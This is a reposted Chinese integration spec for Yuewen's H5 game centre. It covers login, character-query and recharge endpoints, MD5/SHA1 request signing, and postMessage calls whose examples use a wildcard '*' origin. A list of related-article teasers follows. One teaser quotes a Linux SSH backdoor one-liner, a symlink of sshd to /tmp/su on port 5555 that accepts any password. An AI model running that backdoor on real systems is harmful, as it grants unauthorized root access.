非法操作 login.php,阅文游戏中心 h5游戏接入wiki

阅文游戏中心《h5游戏 CP接口规范》

接口要求规范

游戏方接口说明:游戏方需按照规范提供,阅文进行调用

阅文接口说明:阅文提供,游戏方调用

参数 time 为Unix 时间戳(January 1 1970 00:00:00 GMT 起的秒数) ,单位为秒

编码统一使用 UTF-8

接口请求方式为 GET

参数sign里的md5 加密要把md5后的字符串转成小写

key双方协定或是一方处理完知会另一方

php中.号,java和c#中 +号代表字符串连接

接口标记为必接的接口是接入阅文平台的最低标准,没有达标无法上线,请悉

对接H5游戏必须先接入登录接口,然后才能加载出游戏,请注意接口返回格式的正确写法

时序图

游戏登录时序图

85b52a236be8c74cc3a1e1a0cd2601c2.png

游戏充值时序图

b56f9847760b33914d1002312a81b9ce.png

游戏方接口规范

查询用户接口(角色等级验证)(可选)

URL?username=laodao789&serverid=1&timestamp=1232553600&flag=ed03c2ef6f711c117a94242a7aea50c3

参数说明:

名称

类型

说明

范例

username

string

阅文集团用户标识

qq83883

serverid

int

游戏区服id标识,所属服务器

一区填写1,二区填写2,依此类推(可忽略的参数,区服以游戏内的区服为准)

timestamp

long

Unix时间戳(秒)

1495073622

flag

string

key是表示平台和游戏双方提前协商约定好的密钥,请转换为小写字母

php MD5(serverid.username.timestamp.key) java或者C# MD5(serverid+username+timestamp+key)

以json格式返回查询信息,格式如下:

{"ReturnCode":0,"ReturnMessage":"成功","ReturnData":{"userinfo":[{"name":"雷宏茂","server":1,"level":43},{"name":"雷公","server":1,"level":48},{"name":"雷嘉丝","server":1,"level":41},{"name":"雷玮晴","server":1,"level":40}]}}`返回值

说明

ReturnCode

0成功 -1未创建角色 -2无法识别的服务器 -8网络异常

ReturnMessage

提示信息

ReturnData

返回数据数组 name 角色名 server区服号 level等级

游戏登录接口 (必接)

URL/login.php?username={登陆账号}&serverid={游戏服标识}&timestamp={LINUX时间戳,单位为秒}&isadult={防沉迷标记}&clientid=122&flag={加密签名}

请注意接口返回格式

参数说明:

名称

类型

说明

范例

username

string

阅文集团用户标识

qq99389

serverid

int

游戏区服id标识,所属服务器

一区填写1,二区填写2,依此类推

timestamp

long

Unix时间戳(秒)

1495073622

isadult

int

玩家是否成年(1成年,0未成年,如果运营商不知道该用户是否成年默认传-1表示未知是否成年)

0

clientid

int

渠道编号

阅文为 1

flag

string

key是表示平台和游戏双方提前协商约定好的密钥,请转换为小写字母

php md5($username.$serverid.$timestamp.$key.$clientid) java或者C# md5(username+serverid+timestamp+key+clientid)

以json格式返回信息,格式如下:

{"ReturnCode":0,"ReturnMessage":"\u6210\u529f","ReturnData":"https:\/\/slth.xxxx.net\/G\/egret.html?token=55435A47589ea20519509ed97e&appId=91284&channelId=18365&egret.runtime.spid=18365"}返回值

说明

ReturnCode

0成功

ReturnMessage

提示信息

ReturnData

返回登录游戏url地址

充值游戏币接口 (必接)

URL?username={账号}&clientid={合作商编号}&serverid={游戏服}&orderid={阅文订单号}&gorderid ={游戏订单号}&itemid={道具id}&money={充值金额}&timestamp = LINUX时间戳,单位为秒}&flag={加密签名}

注意:此接口中游戏方必须验证订单号与发货金额的一致性, 防止非法操作对游戏收入影响

参数说明:

名称

类型

说明

范例

username

string

阅文集团用户标识

qq99389

clientid

int

渠道编号

比如阅文为 1

serverid

int

游戏区服id标识,所属服务器

一区填写1,二区填写2,依此类推

orderid

string

阅文订单号

AC403131801030814

gorderid

string

游戏方订单号

不要有特殊符号,更不能有中文,长度不要超过50字符

money

float

充值金额 ,(单位)人民币

66

itemid

int

游戏道具或者金币等id

1 (如果未在运营同学处配置充值档, 则不需要传该字段)

timestamp

long

Unix时间戳(秒)

1495073622

flag

string

key是表示平台和游戏双方提前协商约定好的密钥,请转换为小写字母

php md5($username.$serverid.$clientid.$orderid.$timestamp.$itemid.$money.$key) java或者C# md5(username+serverid+clientid+orderid+timestamp+itemid+money+key)

以json格式返回信息,格式如下:

{

"ReturnCode":0,

"ReturnMessage":"成功",

"ReturnData":""

}返回值

说明

ReturnCode

0成功 -1未创建角色 -2无法识别的充值服务器 -8网络异常,1表示订单重试成功后返回值(注:订单重试请求成功后返回为1,状态0和1我们作为成功处理的,掉单可重复请求)

ReturnMessage

提示信息

ReturnData

阅文 js 接口规范

js接口说明

由于存在不同域问题,因此需要采用跨域通信的方式和业务页面保持通信。这里采用的方式是postMessage的方案

发起充值游戏币或者道具请求 (必接)

参数说明:

名称

类型

说明

范例

action_yw

string

请填写pay

pay

data

json

充值请求数据

{'serverid':1,'orderid':'6406548075898863641(不能有中文)','money':6,'goodname':'元宝','itemid':12}

data数据参数说明:

名称

类型

说明

范例

serverid

int

游戏区服id

1

orderid

string

游戏方订单号最多50个字符

6406548075898863641

money

float

(单位)人民币

6

goodname

string

购买的游戏币或者道具名称

600元宝(请标明充值数量)

itemid

int

游戏道具或者金币等id

1 (如果未在运营同学处配置充值档, 则不需要传该字段)

调用实例:

/**

* [charge 向平台发起充值游戏道具请求,消息体格式为{'action_yw':'pay','data':data}]

*/

function pay(){

var data={'serverid':1,'orderid':'6406548075898863641','money':6,'goodname':'600元宝','itemid':8791};

var message={'action_yw':'pay','data':data};

window.parent.postMessage(message,'*');

}

用户登录游戏区服日志记录 (可选)

参数说明:

名称

类型

说明

范例

action_yw

string

请填写log

log

data

json

用户登录数据

{'serverid':1,'username':'霸天虎','level':6}

data数据参数说明:

名称

类型

说明

范例

serverid

int

游戏区服id

1

username

string

对应游戏区服角色名称

霸天虎

level

int

用户登录时候的等级信息

6

调用实例:

/**

* [log 添加游戏登录记录,消息体格式为{'action_yw':'log','data':data}]

*

*/

function log(){

var data={'serverid':1,'username':'霸天虎','level':6};

var message={'action_yw':'log','data':data};

window.parent.postMessage(message,'*');

}

游戏内分享功能 (可选)

参数说明:

名称

类型

说明

范例

action_yw

string

请填写 share

share

data

json

分享请求数据

{action_yw: 'share','userId':6406548075898863641}

data数据参数说明:

名称

类型

说明

范例

action_yw

string

功能标识 share

share

userId

string

用户唯一ID标识(仅限数字字符串)

6406548075898863641

返回数据参数说明:

名称

类型

说明

范例

code

int

成功/失败 标识

1:成功,0:失败

action_yw

string

功能标识 share

share

userId

string

用户唯一ID标识(仅限数字字符串)

6406548075898863641

调用实例:

/**

* [share 向平台发起分享请求,消息体格式为{action_yw: 'share', data: passData};],直接调用下面方法即可

*/

function share(){

var passData = {action_yw: 'share','userId':6406548075898863641};

var data = {action_yw: 'share', data: passData};

window.parent.postMessage(data, "*");

}

/**监控来自平台侧的返回结果*/

window.addEventListener('message',function(e){

console.log(e.data)

//处理代码

});

/** 区分移动端与PC端方法,PC端目前没有创建快捷方式与分享的功能 */

function getParentUrl() {

var url = null;

if (parent !== window) {

try {

url = parent.location.href;

} catch (e) {

url = document.referrer;

}

}

return url;

}

/** 移动端域名: m-game.qidian.com,p-game.qidian.com,m-game.book.qq.com,p-game.book.qq.com */

创建桌面快捷功能 (可选)

备注:此功能只支持安卓,不支持IOS

参数说明:

名称

类型

说明

范例

action_yw

string

请填写 shortCut

shortCut

data

json

创建快捷方式请求数据

{action_yw: 'shortCut','userId':6406548075898863641}

data数据参数说明:

名称

类型

说明

范例

action_yw

string

功能标识 shortCut

shortCut

userId

string

用户唯一ID标识(仅限数字字符串)

6406548075898863641

返回数据参数说明:

名称

类型

说明

范例

code

int

成功/失败 标识

1:成功,0:失败

action_yw

string

功能标识 share

share

userId

string

用户唯一ID标识(仅限数字字符串)

6406548075898863641

调用实例:

/**

* [share 向平台发起分享请求,消息体格式为{action_yw: 'shortCut', data: passData};],直接调用下面方法即可

*/

function share(){

var passData = {action_yw: 'shortCut','userId': 6406548075898863641};

var data = {action_yw: 'shortCut', data: passData};

window.parent.postMessage(data, "*");

}

/**监控来自平台侧的返回结果*/

window.addEventListener('message',function(e){

console.log(e.data)

//处理代码

});

/** 区分移动端与PC端方法,PC端目前没有创建快捷方式与分享的功能 */

function getParentUrl() {

var url = null;

if (parent !== window) {

try {

url = parent.location.href;

} catch (e) {

url = document.referrer;

}

}

return url;

}

/** 移动端域名: m-game.qidian.com,p-game.qidian.com,m-game.book.qq.com,p-game.book.qq.com */

阅文方接口规范

用户聊天消息推送(必接)

请求方式:POST

正式:http://api2.game.qidian.com/Cp/Msg/push

参数说明:

名称类型说明范例

gameId

int

阅文平台游戏ID(请询问运营同学)

9999

serverId

int

游戏区服ID

1

serverName

string

区服名称

区服1

timestamp

int

时间戳

1539314648

sign

string

请求的签名字串:sha1(gameId+"|"+serverId+"|"+serverName+"|"+timestamp+"|"+key)

将示例所需参数,用竖线"|"拼接字串,在最后面拼接key后sha1加密,并将结果转换小写。(key询问运营同学)

cf0244de65a0db825e6a7ba98fa62517ac015e8e

data

array[json]

消息数据体说明:

fGameUserId(消息发送者gameUserId(即阅文userId))

fNickName(消息发送者昵称)

tGameUserId(消息接收者gameUserId(即阅文userId))

tNickName(消息接收者昵称)

type(1私聊,2喇叭,3邮件,4世界,5国家,6工会/帮会,7队伍,8附近,9其他)

content( 消息内容)

time(消息发送时间戳)

{

"fGameUserId": "123",

"fNickName": "this is fNickName",

"tGameUserId": "456",

"tNickName": "this is toNickName",

"type": 1,

"content": "this is content 1",

"time": 1539234456

}

以 json 格式提交,格式如下:

{

"gameId": 9999,

"serverId": "1",

"serverName": "区服1",

"data": [

{

"fGameUserId": "123",

"fNickName": "jack",

"tGameUserId": "234",

"tNickName": "tom",

"type": 1,

"content": "你好",

"time": 1539234456

}

],

"timestamp": 1539234456,

"sign": "cf0244de65a0db825e6a7ba98fa62517ac015e8e"

}返回值说明

code0成功,其他返回码失败

msg返回信息

data返回数据数组,total表示成功推送消息数

测试预览(测试地址在这里)

gameid请找阅文运营同学提供。注:阅文h5游戏为游戏内选区 不用关心测试地址的serverid参数

起点平台预览地址为:

http://m-game.qidian.com/#/fab/(这里为gameid的值)

常见问题回答(FAQ)

什么是serverid?

指选区游戏各个区服编号,只接收int类型(请自行在游戏侧做映射)

什么是itemid?

指游戏内充值选项(游戏币或者道具月卡之类的id,只接收int类型), 如果未在运营同学处配置充值档, 则不需要传该字段

为什么接入了游戏在玩游戏页面是黑屏,白屏或灰屏?

通常是没有按照指定的json约定格式返回(请查看游戏登录接口的返回格式),需要把游戏地址加上自己的参数返回到json数组给到阅文平台,我们会内嵌到到iframe中加载出来

为什么提示游戏方充值返回参数json解析错误?

这种提示说明,没有按照约定的格式返回给我们json数据

阅文的两个平台(起点和qq阅读)只用对接一次?

是的,cp游戏方只用对接一次,登录、验证角色、充值等接口使用同一套即可

所有接口都要对接吗,这些接口使用场景是那些?

对的,都需要对接,使用场景对应如下:

查询用户接口(角色等级验证):在以后做奖励活动,按等级发放奖励的时候,会使用到。还有平台会计划在充值的时候,去区服验证角色,角色如果不存在,不给用户充值。

游戏登录接口 (返回游戏登录链接):返回游戏登录链接,会将链接嵌套到我们平台iframe里面,展现游戏内容页面

充值游戏币接口:给用户发放游戏币或者游戏道具接口,请保持该接口的幂等性,允许平台方一个订单号可以多次重试,且结果按约定返回

js接口 发起充值游戏币或者道具请求:提供给cp方iframe跨域发起充值请求

js接口 用户登录游戏区服日志记录:因为大部分H5游戏都是游戏内部选区,所以平台统计不到用户的区服登录和充值数据,应平台运营需求,此数据不可缺少

在接入过程中提示cp方的serverid不合法、cp方的orderid不合法、cp方的money不合法、cp方的goodname不合法、cp方的itemid不合法,是什么原因导致的?

请检查是否按照接口约定数据格式传入了对应数据,亦可按照下图,在起点渠道进行调试检查传入的参数是否正确

1b78a1854df68015232c3b844edcd8a7.png

充值时提示游戏区服未配置

游戏方没有接入或没有正确上报用户登录游戏区服日志记录需要的数据,导致调用用户登录游戏区服日志记录和发起充值游戏币或者道具请求两个接口的serverid不一致

充值时提示其他文字信息

其他文字信息一般为我方透传游戏方服务端充值游戏币接口的返回值,请游戏方自行排查提供接口的问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/459003.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

串口通信与编程:串口基础知识

*************************************************** 更多精彩,欢迎进入:http://shop115376623.taobao.com *************************************************** 串口是串行接口(serial port)的简称,也称为串行通信…

jmeter上传文件搞了一天,才搞定,没高人帮忙效率就是低,赶紧记下来,以备后用...

jmeter上传文件搞了一天,才搞定,没高人帮忙效率就是低,赶紧记下来,以备后用 先用谷歌浏览器抓包,抓到的包类似这样: 在jmeter里添加一个http请求,配置好参数,方法,端口&a…

自定义dialog

2019独角兽企业重金招聘Python工程师标准>>> R.layout.layout_insert_dialog自定义布局 View mViewLayoutInflater.from(MainActivity.this).inflate(R.layout.layout_insert_dialog, null); AlertDialog.Builder dialognew AlertDialog.Builder (MainActivity.this…

oracle的env函数用法,env命令_Linux env 命令用法详解:显示系统中已存在的环境变量...

env命令用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用"-"作为参数选项时,隐藏了选项"-i"的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量。如果使用env命令在新环境中执行指令…

网络通信的工作原理

*************************************************** 更多精彩,欢迎进入:http://shop115376623.taobao.com *************************************************** 1、什么是计算机网络? 计算机网络是由两台或两台以上的计算机通过网络设备…

Bossie Awards 2015: The best open source applicati

2019独角兽企业重金招聘Python工程师标准>>> Read about more open source winners InfoWorlds Best of Open Source Awards for 2014 celebrate more than 100 open source projects, from the bottom of the stack to the top. Follow these links to more open s…

oracle重做日志教程,Oracle教程:重做日志文件基本维护

重做日志文件最重要的用途就是用来恢复数据(其实你也可以用来logminer),它记录着system global area(sga)当中的database bu重做日志文件最重要的用途就是用来恢复数据(其实你也可以用来logminer),它记录着system global area(sga)当中的database buffer…

java动态代理的实现

动态代理作为代理模式的一种扩展形式,广泛应用于框架(尤其是基于AOP的框架)的设计与开发,本文将通过实例来讲解Java动态代理的实现过程。友情提示:本文略有难度,读者需具备代理模式相关基础知识&#xff0c…

C++基础之this指针的详解

*************************************************** 更多精彩,欢迎进入:http://shop115376623.taobao.com *************************************************** 关于C中的this指针,建议大家看看这篇文章,《C中的this指针》&a…

如何用参数化SQL语句污染你的计划缓存

你的SQL语句的参数化总是个好想法。使用参数化SQL语句你不会污染你的计划缓存——错!!!在这篇文章里我想向你展示下用参数化SQL语句就可以污染你的计划缓存,这是非常简单的! ADO.NET-AddWithValue ADO.NET是实现像SQL …

Ios: 如何保護iOS束文件屬性列表,圖像,SQLite,媒體文件

Ios: 如何保護iOS束文件屬性列表,圖像,SQLite,媒體文件我創建了Hello World示例項目,然後添加data.plist文件到資源文件夾。現在人們可以很容易得到束文件解壓縮。國際音標。有任何的方法來保護data.plist文件保存在iPhone應用程序…

w3wp oracle,w3wp.exe占用CPU超过50%的处理

w3wp.exe占用CPU超过50%的处理1.查看CPU占用高的进程:任务管理器C:\Documents andSettings\Administrator>iisappW3WP.exe PID: 18008 AppPoolId: STATW3WP.exe PID: 8328 AppPoolId: STATW3WP.exe PID: 17868 AppPoolId: JYCV16W3WP.exe PID: 16652 AppPoolId: …

论两种学习模式

引言 A:你是如何学习的,通过视频、书籍和实践结合?B:不是,一般情况是以一个问题为点去画线和面。 两种学习模式 按部就班方式获取知识(通过书、视频)缺点 信息接收者缺乏深度思考和探索信息发布者的知识体系不一定适合…

启动mq命令 linux,RocketMQ:Linux下启动server和broker的命令

目录QUESTION:RocketMQ:Linux下启动server和broker的命令?ANSWER:一、启动mqnamesrv1.1当前执行1.2后台运行二、启动mqbroker2.1当前执行2.2后台运行QUESTION:RocketMQ:Linux下启动server和broker的命令?ANSWER:一、启动mqnamesrv1.1当前执行进入rocke…

C++中int *p[4]和 int (*q)[4]的区别

*************************************************** 更多精彩,欢迎进入:http://shop115376623.taobao.com *************************************************** C中int *p[4]和 int (*q)[4]的区别 前者是指针数组,后者是指向数组的指针…

linux不用命令开启ssh,不用密码也能ssh登陆Linux?

Linux的一个后门引发对PAM的探究1.1 起因今天在搜索关于Linux下的后门姿势时,发现一条命令如下:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort5555;经典后门。直接对sshd建立软连接,之后用任意密码登录即可。ssh rootx.x.x.x -p 5555这个是…

ScrollView常用(暂时用上了的)代理方法

2019独角兽企业重金招聘Python工程师标准>>> ScrollView常用代理方法: #pragma mark - 滚动结束调用 -(void)scrollViewDidEndDecelerating:(UIScrollView *)scrollView {// 计算 滑动到了第几页double page scrollView.contentOffset.x / scrollView.width;self.p…

Android ListView性能优化实例讲解

前言: 对于ListView,大家绝对都不会陌生,只要是做过Android开发的人,哪有不用ListView的呢? 只要是用过ListView的人,哪有不关心对它性能优化的呢? 关于如何对ListView进行性能优化,…

Bzoj 3289: Mato的文件管理 莫队,树状数组,逆序对,离散化,分块

3289: Mato的文件管理 Time Limit: 40 Sec Memory Limit: 128 MBSubmit: 1539 Solved: 665[Submit][Status][Discuss]Description Mato同学从各路神犇以各种方式(你们懂的)收集了许多资料,这些资料一共有n份,每份有一个大小和一…

vs2010创建和使用动态链接库(dll)

*************************************************** 更多精彩,欢迎进入:http://shop115376623.taobao.com *************************************************** 本文将创建一个简单的动态链接库,并编写一个应用台控制程序使用该动态链接…